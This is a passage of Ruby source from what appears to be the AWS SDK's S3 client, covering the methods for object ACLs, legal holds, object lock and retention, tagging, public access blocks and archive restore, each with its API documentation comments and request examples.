# request. For more information, see [Canned ACL][2].
#
# * Specify access permissions explicitly with the `x-amz-grant-read`,
# `x-amz-grant-read-acp`, `x-amz-grant-write-acp`, and
# `x-amz-grant-full-control` headers. When using these headers, you
# specify explicit access permissions and grantees (AWS accounts or
# Amazon S3 groups) who will receive the permission. If you use these
# ACL-specific headers, you cannot use `x-amz-acl` header to set a
# canned ACL. These parameters map to the set of permissions that
# Amazon S3 supports in an ACL. For more information, see [Access
# Control List (ACL) Overview][1].
#
# You specify each grantee as a type=value pair, where the type is one
# of the following:
#
# * `id` – if the value specified is the canonical user ID of an AWS
# account
#
# * `uri` – if you are granting permissions to a predefined group
#
# * `emailAddress` – if the value specified is the email address of an
# AWS account
#
# <note markdown="1"> Using email addresses to specify a grantee is only supported in
# the following AWS Regions:
#
# * US East (N. Virginia)
#
# * US West (N. California)
#
# * US West (Oregon)
#
# * Asia Pacific (Singapore)
#
# * Asia Pacific (Sydney)
#
# * Asia Pacific (Tokyo)
#
# * Europe (Ireland)
#
# * South America (São Paulo)
#
# For a list of all the Amazon S3 supported Regions and endpoints,
# see [Regions and Endpoints][3] in the AWS General Reference.
#
# </note>
#
# For example, the following `x-amz-grant-read` header grants list
# objects permission to the two AWS accounts identified by their email
# addresses.
#
# `x-amz-grant-read: emailAddress="[email protected]",
# emailAddress="[email protected]" `
#
# You can use either a canned ACL or specify access permissions
# explicitly. You cannot do both.
#
# **Grantee Values**
#
# You can specify the person (grantee) to whom you're assigning access
# rights (using request elements) in the following ways:
#
# * By the person's ID:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="CanonicalUser"><ID><>ID<></ID><DisplayName><>GranteesEmail<></DisplayName>
# </Grantee>`
#
# DisplayName is optional and ignored in the request.
#
# * By URI:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="Group"><URI><>http://acs.amazonaws.com/groups/global/AuthenticatedUsers<></URI></Grantee>`
#
# * By Email address:
#
# `<Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
# xsi:type="AmazonCustomerByEmail"><EmailAddress><>[email protected]<></EmailAddress>lt;/Grantee>`
#
# The grantee is resolved to the CanonicalUser and, in a response to a
# GET Object acl request, appears as the CanonicalUser.
#
# <note markdown="1"> Using email addresses to specify a grantee is only supported in the
# following AWS Regions:
#
# * US East (N. Virginia)
#
# * US West (N. California)
#
# * US West (Oregon)
#
# * Asia Pacific (Singapore)
#
# * Asia Pacific (Sydney)
#
# * Asia Pacific (Tokyo)
#
# * Europe (Ireland)
#
# * South America (São Paulo)
#
# For a list of all the Amazon S3 supported Regions and endpoints, see
# [Regions and Endpoints][3] in the AWS General Reference.
#
# </note>
#
# **Versioning**
#
# The ACL of an object is set at the object version level. By default,
# PUT sets the ACL of the current version of an object. To set the ACL
# of a different version, use the `versionId` subresource.
#
# **Related Resources**
#
# * CopyObject
#
# * GetObject
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#CannedACL
# [3]: https://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region
#
# @option params [String] :acl
# The canned ACL to apply to the object. For more information, see
# [Canned ACL][1].
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/acl-overview.html#CannedACL
#
# @option params [Types::AccessControlPolicy] :access_control_policy
# Contains the elements that set the ACL permissions for an object per
# grantee.
#
# @option params [required, String] :bucket
# The bucket name that contains the object to which you want to attach
# the ACL.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [String] :content_md5
# The base64-encoded 128-bit MD5 digest of the data. This header must be
# used as a message integrity check to verify that the request body was
# not corrupted in transit. For more information, go to [RFC
# 1864.>][1]
#
#
#
# [1]: http://www.ietf.org/rfc/rfc1864.txt
#
# @option params [String] :grant_full_control
# Allows grantee the read, write, read ACP, and write ACP permissions on
# the bucket.
#
# @option params [String] :grant_read
# Allows grantee to list the objects in the bucket.
#
# @option params [String] :grant_read_acp
# Allows grantee to read the bucket ACL.
#
# @option params [String] :grant_write
# Allows grantee to create, overwrite, and delete any object in the
# bucket.
#
# @option params [String] :grant_write_acp
# Allows grantee to write the ACL for the applicable bucket.
#
# @option params [required, String] :key
# Key for which the PUT operation was initiated.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :version_id
# VersionId used to reference a specific version of the object.
#
# @return [Types::PutObjectAclOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutObjectAclOutput#request_charged #request_charged} => String
#
#
# @example Example: To grant permissions using object ACL
#
# # The following example adds grants to an object ACL. The first permission grants user1 and user2 FULL_CONTROL and the
# # AllUsers group READ permission.
#
# resp = client.put_object_acl({
# access_control_policy: {
# },
# bucket: "examplebucket",
# grant_full_control: "[email protected],[email protected]",
# grant_read: "uri=http://acs.amazonaws.com/groups/global/AllUsers",
# key: "HappyFace.jpg",
# })
#
# resp.to_h outputs the following:
# {
# }
#
# @example Request syntax with placeholder values
#
# resp = client.put_object_acl({
# acl: "private", # accepts private, public-read, public-read-write, authenticated-read, aws-exec-read, bucket-owner-read, bucket-owner-full-control
# access_control_policy: {
# grants: [
# {
# grantee: {
# display_name: "DisplayName",
# email_address: "EmailAddress",
# id: "ID",
# type: "CanonicalUser", # required, accepts CanonicalUser, AmazonCustomerByEmail, Group
# uri: "URI",
# },
# permission: "FULL_CONTROL", # accepts FULL_CONTROL, WRITE, WRITE_ACP, READ, READ_ACP
# },
# ],
# owner: {
# display_name: "DisplayName",
# id: "ID",
# },
# },
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# grant_full_control: "GrantFullControl",
# grant_read: "GrantRead",
# grant_read_acp: "GrantReadACP",
# grant_write: "GrantWrite",
# grant_write_acp: "GrantWriteACP",
# key: "ObjectKey", # required
# request_payer: "requester", # accepts requester
# version_id: "ObjectVersionId",
# })
#
# @example Response structure
#
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectAcl AWS API Documentation
#
# @overload put_object_acl(params = {})
# @param [Hash] params ({})
def put_object_acl(params = {}, options = {})
req = build_request(:put_object_acl, params)
req.send_request(options)
end
# Applies a Legal Hold configuration to the specified object.
#
# **Related Resources**
#
# * [Locking Objects][1]
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @option params [required, String] :bucket
# The bucket name containing the object that you want to place a Legal
# Hold on.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# The key name for the object that you want to place a Legal Hold on.
#
# @option params [Types::ObjectLockLegalHold] :legal_hold
# Container element for the Legal Hold configuration you want to apply
# to the specified object.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :version_id
# The version ID of the object that you want to place a Legal Hold on.
#
# @option params [String] :content_md5
# The MD5 hash for the request body.
#
# @return [Types::PutObjectLegalHoldOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutObjectLegalHoldOutput#request_charged #request_charged} => String
#
# @example Request syntax with placeholder values
#
# resp = client.put_object_legal_hold({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# legal_hold: {
# status: "ON", # accepts ON, OFF
# },
# request_payer: "requester", # accepts requester
# version_id: "ObjectVersionId",
# content_md5: "ContentMD5",
# })
#
# @example Response structure
#
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectLegalHold AWS API Documentation
#
# @overload put_object_legal_hold(params = {})
# @param [Hash] params ({})
def put_object_legal_hold(params = {}, options = {})
req = build_request(:put_object_legal_hold, params)
req.send_request(options)
end
# Places an Object Lock configuration on the specified bucket. The rule
# specified in the Object Lock configuration will be applied by default
# to every new object placed in the specified bucket.
#
# <note markdown="1"> `DefaultRetention` requires either Days or Years. You can't specify
# both at the same time.
#
# </note>
#
# **Related Resources**
#
# * [Locking Objects][1]
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @option params [required, String] :bucket
# The bucket whose Object Lock configuration you want to create or
# replace.
#
# @option params [Types::ObjectLockConfiguration] :object_lock_configuration
# The Object Lock configuration that you want to apply to the specified
# bucket.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :token
# A token to allow Object Lock to be enabled for an existing bucket.
#
# @option params [String] :content_md5
# The MD5 hash for the request body.
#
# @return [Types::PutObjectLockConfigurationOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutObjectLockConfigurationOutput#request_charged #request_charged} => String
#
# @example Request syntax with placeholder values
#
# resp = client.put_object_lock_configuration({
# bucket: "BucketName", # required
# object_lock_configuration: {
# object_lock_enabled: "Enabled", # accepts Enabled
# rule: {
# default_retention: {
# mode: "GOVERNANCE", # accepts GOVERNANCE, COMPLIANCE
# days: 1,
# years: 1,
# },
# },
# },
# request_payer: "requester", # accepts requester
# token: "ObjectLockToken",
# content_md5: "ContentMD5",
# })
#
# @example Response structure
#
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectLockConfiguration AWS API Documentation
#
# @overload put_object_lock_configuration(params = {})
# @param [Hash] params ({})
def put_object_lock_configuration(params = {}, options = {})
req = build_request(:put_object_lock_configuration, params)
req.send_request(options)
end
# Places an Object Retention configuration on an object.
#
# **Related Resources**
#
# * [Locking Objects][1]
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lock.html
#
# @option params [required, String] :bucket
# The bucket name that contains the object you want to apply this Object
# Retention configuration to.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# The key name for the object that you want to apply this Object
# Retention configuration to.
#
# @option params [Types::ObjectLockRetention] :retention
# The container element for the Object Retention configuration.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @option params [String] :version_id
# The version ID for the object that you want to apply this Object
# Retention configuration to.
#
# @option params [Boolean] :bypass_governance_retention
# Indicates whether this operation should bypass Governance-mode
# restrictions.
#
# @option params [String] :content_md5
# The MD5 hash for the request body.
#
# @return [Types::PutObjectRetentionOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutObjectRetentionOutput#request_charged #request_charged} => String
#
# @example Request syntax with placeholder values
#
# resp = client.put_object_retention({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# retention: {
# mode: "GOVERNANCE", # accepts GOVERNANCE, COMPLIANCE
# retain_until_date: Time.now,
# },
# request_payer: "requester", # accepts requester
# version_id: "ObjectVersionId",
# bypass_governance_retention: false,
# content_md5: "ContentMD5",
# })
#
# @example Response structure
#
# resp.request_charged #=> String, one of "requester"
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectRetention AWS API Documentation
#
# @overload put_object_retention(params = {})
# @param [Hash] params ({})
def put_object_retention(params = {}, options = {})
req = build_request(:put_object_retention, params)
req.send_request(options)
end
# Sets the supplied tag-set to an object that already exists in a
# bucket.
#
# A tag is a key-value pair. You can associate tags with an object by
# sending a PUT request against the tagging subresource that is
# associated with the object. You can retrieve tags by sending a GET
# request. For more information, see GetObjectTagging.
#
# For tagging-related restrictions related to characters and encodings,
# see [Tag Restrictions][1]. Note that Amazon S3 limits the maximum
# number of tags to 10 tags per object.
#
# To use this operation, you must have permission to perform the
# `s3:PutObjectTagging` action. By default, the bucket owner has this
# permission and can grant this permission to others.
#
# To put tags of any other version, use the `versionId` query parameter.
# You also need permission for the `s3:PutObjectVersionTagging` action.
#
# For information about the Amazon S3 object tagging feature, see
# [Object Tagging][2].
#
# **Special Errors**
#
# * ****
#
# * <i>Code: InvalidTagError </i>
#
# * *Cause: The tag provided was not a valid tag. This error can occur
# if the tag did not pass input validation. For more information,
# see [Object Tagging][2].*
#
# * ****
#
# * <i>Code: MalformedXMLError </i>
#
# * *Cause: The XML provided does not match the schema.*
#
# * * <i>Code: OperationAbortedError </i>
#
# * *Cause: A conflicting conditional operation is currently in
# progress against this resource. Please try again.*
#
# * * *Code: InternalError*
#
# * *Cause: The service was unable to apply the provided tag to the
# object.*
#
# **Related Resources**
#
# * GetObjectTagging
#
# ^
#
#
#
# [1]: https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/allocation-tag-restrictions.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-tagging.html
#
# @option params [required, String] :bucket
# The bucket name containing the object.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Name of the tag.
#
# @option params [String] :version_id
# The versionId of the object that the tag-set will be added to.
#
# @option params [String] :content_md5
# The MD5 hash for the request body.
#
# @option params [required, Types::Tagging] :tagging
# Container for the `TagSet` and `Tag` elements
#
# @return [Types::PutObjectTaggingOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::PutObjectTaggingOutput#version_id #version_id} => String
#
#
# @example Example: To add tags to an existing object
#
# # The following example adds tags to an existing object.
#
# resp = client.put_object_tagging({
# bucket: "examplebucket",
# key: "HappyFace.jpg",
# tagging: {
# tag_set: [
# {
# key: "Key3",
# value: "Value3",
# },
# {
# key: "Key4",
# value: "Value4",
# },
# ],
# },
# })
#
# resp.to_h outputs the following:
# {
# version_id: "null",
# }
#
# @example Request syntax with placeholder values
#
# resp = client.put_object_tagging({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# content_md5: "ContentMD5",
# tagging: { # required
# tag_set: [ # required
# {
# key: "ObjectKey", # required
# value: "Value", # required
# },
# ],
# },
# })
#
# @example Response structure
#
# resp.version_id #=> String
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutObjectTagging AWS API Documentation
#
# @overload put_object_tagging(params = {})
# @param [Hash] params ({})
def put_object_tagging(params = {}, options = {})
req = build_request(:put_object_tagging, params)
req.send_request(options)
end
# Creates or modifies the `PublicAccessBlock` configuration for an
# Amazon S3 bucket. To use this operation, you must have the
# `s3:PutBucketPublicAccessBlock` permission. For more information about
# Amazon S3 permissions, see [Specifying Permissions in a Policy][1].
#
# When Amazon S3 evaluates the `PublicAccessBlock` configuration for a
# bucket or an object, it checks the `PublicAccessBlock` configuration
# for both the bucket (or the bucket that contains the object) and the
# bucket owner's account. If the `PublicAccessBlock` configurations are
# different between the bucket and the account, Amazon S3 uses the most
# restrictive combination of the bucket-level and account-level
# settings.
#
# For more information about when Amazon S3 considers a bucket or an
# object public, see [The Meaning of "Public"][2].
#
# **Related Resources**
#
# * GetPublicAccessBlock
#
# * DeletePublicAccessBlock
#
# * GetBucketPolicyStatus
#
# * [Using Amazon S3 Block Public Access][3]
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html#access-control-block-public-access-policy-status
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html
#
# @option params [required, String] :bucket
# The name of the Amazon S3 bucket whose `PublicAccessBlock`
# configuration you want to set.
#
# @option params [String] :content_md5
# The MD5 hash of the `PutPublicAccessBlock` request body.
#
# @option params [required, Types::PublicAccessBlockConfiguration] :public_access_block_configuration
# The `PublicAccessBlock` configuration that you want to apply to this
# Amazon S3 bucket. You can enable the configuration options in any
# combination. For more information about when Amazon S3 considers a
# bucket or object public, see [The Meaning of "Public"][1] in the
# *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/access-control-block-public-access.html#access-control-block-public-access-policy-status
#
# @return [Struct] Returns an empty {Seahorse::Client::Response response}.
#
# @example Request syntax with placeholder values
#
# resp = client.put_public_access_block({
# bucket: "BucketName", # required
# content_md5: "ContentMD5",
# public_access_block_configuration: { # required
# block_public_acls: false,
# ignore_public_acls: false,
# block_public_policy: false,
# restrict_public_buckets: false,
# },
# })
#
# @see http://docs.aws.amazon.com/goto/WebAPI/s3-2006-03-01/PutPublicAccessBlock AWS API Documentation
#
# @overload put_public_access_block(params = {})
# @param [Hash] params ({})
def put_public_access_block(params = {}, options = {})
req = build_request(:put_public_access_block, params)
req.send_request(options)
end
# Restores an archived copy of an object back into Amazon S3
#
# This operation performs the following types of requests:
#
# * `select` - Perform a select query on an archived object
#
# * `restore an archive` - Restore an archived object
#
# To use this operation, you must have permissions to perform the
# `s3:RestoreObject` action. The bucket owner has this permission by
# default and can grant this permission to others. For more information
# about permissions, see [Permissions Related to Bucket Subresource
# Operations][1] and [Managing Access Permissions to Your Amazon S3
# Resources][2] in the *Amazon Simple Storage Service Developer Guide*.
#
# **Querying Archives with Select Requests**
#
# You use a select type of request to perform SQL queries on archived
# objects. The archived objects that are being queried by the select
# request must be formatted as uncompressed comma-separated values (CSV)
# files. You can run queries and custom analytics on your archived data
# without having to restore your data to a hotter Amazon S3 tier. For an
# overview about select requests, see [Querying Archived Objects][3] in
# the *Amazon Simple Storage Service Developer Guide*.
#
# When making a select request, do the following:
#
# * Define an output location for the select query's output. This must
# be an Amazon S3 bucket in the same AWS Region as the bucket that
# contains the archive object that is being queried. The AWS account
# that initiates the job must have permissions to write to the S3
# bucket. You can specify the storage class and encryption for the
# output objects stored in the bucket. For more information about
# output, see [Querying Archived Objects][3] in the *Amazon Simple
# Storage Service Developer Guide*.
#
# For more information about the `S3` structure in the request body,
# see the following:
#
# * PutObject
#
# * [Managing Access with ACLs][4] in the *Amazon Simple Storage
# Service Developer Guide*
#
# * [Protecting Data Using Server-Side Encryption][5] in the *Amazon
# Simple Storage Service Developer Guide*
#
# * Define the SQL expression for the `SELECT` type of restoration for
# your query in the request body's `SelectParameters` structure. You
# can use expressions like the following examples.
#
# * The following expression returns all records from the specified
# object.
#
# `SELECT * FROM Object`
#
# * Assuming that you are not using any headers for data stored in the
# object, you can specify columns with positional headers.
#
# `SELECT s._1, s._2 FROM Object s WHERE s._3 > 100`
#
# * If you have headers and you set the `fileHeaderInfo` in the `CSV`
# structure in the request body to `USE`, you can specify headers in
# the query. (If you set the `fileHeaderInfo` field to `IGNORE`, the
# first row is skipped for the query.) You cannot mix ordinal
# positions with header column names.
#
# `SELECT s.Id, s.FirstName, s.SSN FROM S3Object s`
#
# For more information about using SQL with S3 Glacier Select restore,
# see [SQL Reference for Amazon S3 Select and S3 Glacier Select][6] in
# the *Amazon Simple Storage Service Developer Guide*.
#
# When making a select request, you can also do the following:
#
# * To expedite your queries, specify the `Expedited` tier. For more
# information about tiers, see "Restoring Archives," later in this
# topic.
#
# * Specify details about the data serialization format of both the
# input object that is being queried and the serialization of the
# CSV-encoded query results.
#
# The following are additional important facts about the select feature:
#
# * The output results are new Amazon S3 objects. Unlike archive
# retrievals, they are stored until explicitly deleted-manually or
# through a lifecycle policy.
#
# * You can issue more than one select request on the same Amazon S3
# object. Amazon S3 doesn't deduplicate requests, so avoid issuing
# duplicate requests.
#
# * Amazon S3 accepts a select request even if the object has already
# been restored. A select request doesn’t return error response `409`.
#
# **Restoring Archives**
#
# Objects in the GLACIER and DEEP\_ARCHIVE storage classes are archived.
# To access an archived object, you must first initiate a restore
# request. This restores a temporary copy of the archived object. In a
# restore request, you specify the number of days that you want the
# restored copy to exist. After the specified period, Amazon S3 deletes
# the temporary copy but the object remains archived in the GLACIER or
# DEEP\_ARCHIVE storage class that object was restored from.
#
# To restore a specific object version, you can provide a version ID. If
# you don't provide a version ID, Amazon S3 restores the current
# version.
#
# The time it takes restore jobs to finish depends on which storage
# class the object is being restored from and which data access tier you
# specify.
#
# When restoring an archived object (or using a select request), you can
# specify one of the following data access tier options in the `Tier`
# element of the request body:
#
# * <b> <code>Expedited</code> </b> - Expedited retrievals allow you to
# quickly access your data stored in the GLACIER storage class when
# occasional urgent requests for a subset of archives are required.
# For all but the largest archived objects (250 MB+), data accessed
# using Expedited retrievals are typically made available within 1–5
# minutes. Provisioned capacity ensures that retrieval capacity for
# Expedited retrievals is available when you need it. Expedited
# retrievals and provisioned capacity are not available for the
# DEEP\_ARCHIVE storage class.
#
# * <b> <code>Standard</code> </b> - S3 Standard retrievals allow you to
# access any of your archived objects within several hours. This is
# the default option for the GLACIER and DEEP\_ARCHIVE retrieval
# requests that do not specify the retrieval option. S3 Standard
# retrievals typically complete within 3-5 hours from the GLACIER
# storage class and typically complete within 12 hours from the
# DEEP\_ARCHIVE storage class.
#
# * <b> <code>Bulk</code> </b> - Bulk retrievals are Amazon S3 Glacier’s
# lowest-cost retrieval option, enabling you to retrieve large
# amounts, even petabytes, of data inexpensively in a day. Bulk
# retrievals typically complete within 5-12 hours from the GLACIER
# storage class and typically complete within 48 hours from the
# DEEP\_ARCHIVE storage class.
#
# For more information about archive retrieval options and provisioned
# capacity for `Expedited` data access, see [Restoring Archived
# Objects][7] in the *Amazon Simple Storage Service Developer Guide*.
#
# You can use Amazon S3 restore speed upgrade to change the restore
# speed to a faster speed while it is in progress. You upgrade the speed
# of an in-progress restoration by issuing another restore request to
# the same object, setting a new `Tier` request element. When issuing a
# request to upgrade the restore tier, you must choose a tier that is
# faster than the tier that the in-progress restore is using. You must
# not change any other parameters, such as the `Days` request element.
# For more information, see [ Upgrading the Speed of an In-Progress
# Restore][8] in the *Amazon Simple Storage Service Developer Guide*.
#
# To get the status of object restoration, you can send a `HEAD`
# request. Operations return the `x-amz-restore` header, which provides
# information about the restoration status, in the response. You can use
# Amazon S3 event notifications to notify you when a restore is
# initiated or completed. For more information, see [Configuring Amazon
# S3 Event Notifications][9] in the *Amazon Simple Storage Service
# Developer Guide*.
#
# After restoring an archived object, you can update the restoration
# period by reissuing the request with a new period. Amazon S3 updates
# the restoration period relative to the current time and charges only
# for the request-there are no data transfer charges. You cannot update
# the restoration period when Amazon S3 is actively processing your
# current restore request for the object.
#
# If your bucket has a lifecycle configuration with a rule that includes
# an expiration action, the object expiration overrides the life span
# that you specify in a restore request. For example, if you restore an
# object copy for 10 days, but the object is scheduled to expire in 3
# days, Amazon S3 deletes the object in 3 days. For more information
# about lifecycle configuration, see PutBucketLifecycleConfiguration and
# [Object Lifecycle Management][10] in *Amazon Simple Storage Service
# Developer Guide*.
#
# **Responses**
#
# A successful operation returns either the `200 OK` or `202 Accepted`
# status code.
#
# * If the object copy is not previously restored, then Amazon S3
# returns `202 Accepted` in the response.
#
# * If the object copy is previously restored, Amazon S3 returns `200
# OK` in the response.
#
# **Special Errors**
#
# * ****
#
# * *Code: RestoreAlreadyInProgress*
#
# * *Cause: Object restore is already in progress. (This error does
# not apply to SELECT type requests.)*
#
# * *HTTP Status Code: 409 Conflict*
#
# * *SOAP Fault Code Prefix: Client*
#
# * ****
#
# * *Code: GlacierExpeditedRetrievalNotAvailable*
#
# * *Cause: S3 Glacier expedited retrievals are currently not
# available. Try again later. (Returned if there is insufficient
# capacity to process the Expedited request. This error applies only
# to Expedited retrievals and not to S3 Standard or Bulk
# retrievals.)*
#
# * *HTTP Status Code: 503*
#
# * *SOAP Fault Code Prefix: N/A*
#
# **Related Resources**
#
# * PutBucketLifecycleConfiguration
#
# * GetBucketNotificationConfiguration
#
# * [SQL Reference for Amazon S3 Select and S3 Glacier Select ][6] in
# the *Amazon Simple Storage Service Developer Guide*
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-with-s3-actions.html#using-with-s3-actions-related-to-bucket-subresources
# [2]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-access-control.html
# [3]: https://docs.aws.amazon.com/AmazonS3/latest/dev/querying-glacier-archives.html
# [4]: https://docs.aws.amazon.com/AmazonS3/latest/dev/S3_ACLs_UsingACLs.html
# [5]: https://docs.aws.amazon.com/AmazonS3/latest/dev/serv-side-encryption.html
# [6]: https://docs.aws.amazon.com/AmazonS3/latest/dev/s3-glacier-select-sql-reference.html
# [7]: https://docs.aws.amazon.com/AmazonS3/latest/dev/restoring-objects.html
# [8]: https://docs.aws.amazon.com/AmazonS3/latest/dev/restoring-objects.html#restoring-objects-upgrade-tier.title.html
# [9]: https://docs.aws.amazon.com/AmazonS3/latest/dev/NotificationHowTo.html
# [10]: https://docs.aws.amazon.com/AmazonS3/latest/dev/object-lifecycle-mgmt.html
#
# @option params [required, String] :bucket
# The bucket name or containing the object to restore.
#
# When using this API with an access point, you must direct requests to
# the access point hostname. The access point hostname takes the form
# *AccessPointName*-*AccountId*.s3-accesspoint.*Region*.amazonaws.com.
# When using this operation using an access point through the AWS SDKs,
# you provide the access point ARN in place of the bucket name. For more
# information about access point ARNs, see [Using Access Points][1] in
# the *Amazon Simple Storage Service Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/using-access-points.html
#
# @option params [required, String] :key
# Object key for which the operation was initiated.
#
# @option params [String] :version_id
# VersionId used to reference a specific version of the object.
#
# @option params [Types::RestoreRequest] :restore_request
# Container for restore job parameters.
#
# @option params [String] :request_payer
# Confirms that the requester knows that they will be charged for the
# request. Bucket owners need not specify this parameter in their
# requests. For information about downloading objects from requester
# pays buckets, see [Downloading Objects in Requestor Pays Buckets][1]
# in the *Amazon S3 Developer Guide*.
#
#
#
# [1]: https://docs.aws.amazon.com/AmazonS3/latest/dev/ObjectsinRequesterPaysBuckets.html
#
# @return [Types::RestoreObjectOutput] Returns a {Seahorse::Client::Response response} object which responds to the following methods:
#
# * {Types::RestoreObjectOutput#request_charged #request_charged} => String
# * {Types::RestoreObjectOutput#restore_output_path #restore_output_path} => String
#
#
# @example Example: To restore an archived object
#
# # The following example restores for one day an archived copy of an object back into Amazon S3 bucket.
#
# resp = client.restore_object({
# bucket: "examplebucket",
# key: "archivedobjectkey",
# restore_request: {
# days: 1,
# glacier_job_parameters: {
# tier: "Expedited",
# },
# },
# })
#
# resp.to_h outputs the following:
# {
# }
#
# @example Request syntax with placeholder values
#
# resp = client.restore_object({
# bucket: "BucketName", # required
# key: "ObjectKey", # required
# version_id: "ObjectVersionId",
# restore_request: {
# days: 1,
# glacier_job_parameters: {
# tier: "Standard", # required, accepts Standard, Bulk, Expedited
# },
# type: "SELECT", # accepts SELECT
# tier: "Standard", # accepts Standard, Bulk, Expedited
# description: "Description",
# select_parameters: {
# input_serialization: { # required
# csv: {
# file_header_info: "USE", # accepts USE, IGNORE, NONE
# comments: "Comments",
# quote_escape_character: "QuoteEscapeCharacter",
# record_delimiter: "RecordDelimiter",
# field_delimiter: "FieldDelimiter",
# quote_character: "QuoteCharacter",
# allow_quoted_record_delimiter: false,
# },
# compression_type: "NONE", # accepts NONE, GZIP, BZIP2
# json: {
# type: "DOCUMENT", # accepts DOCUMENT, LINES
# },
# parquet: {
# },
# },
# expression_type: "SQL", # required, accepts SQL
# expression: "Expression", # required
# output_serialization: { # required
# csv: {
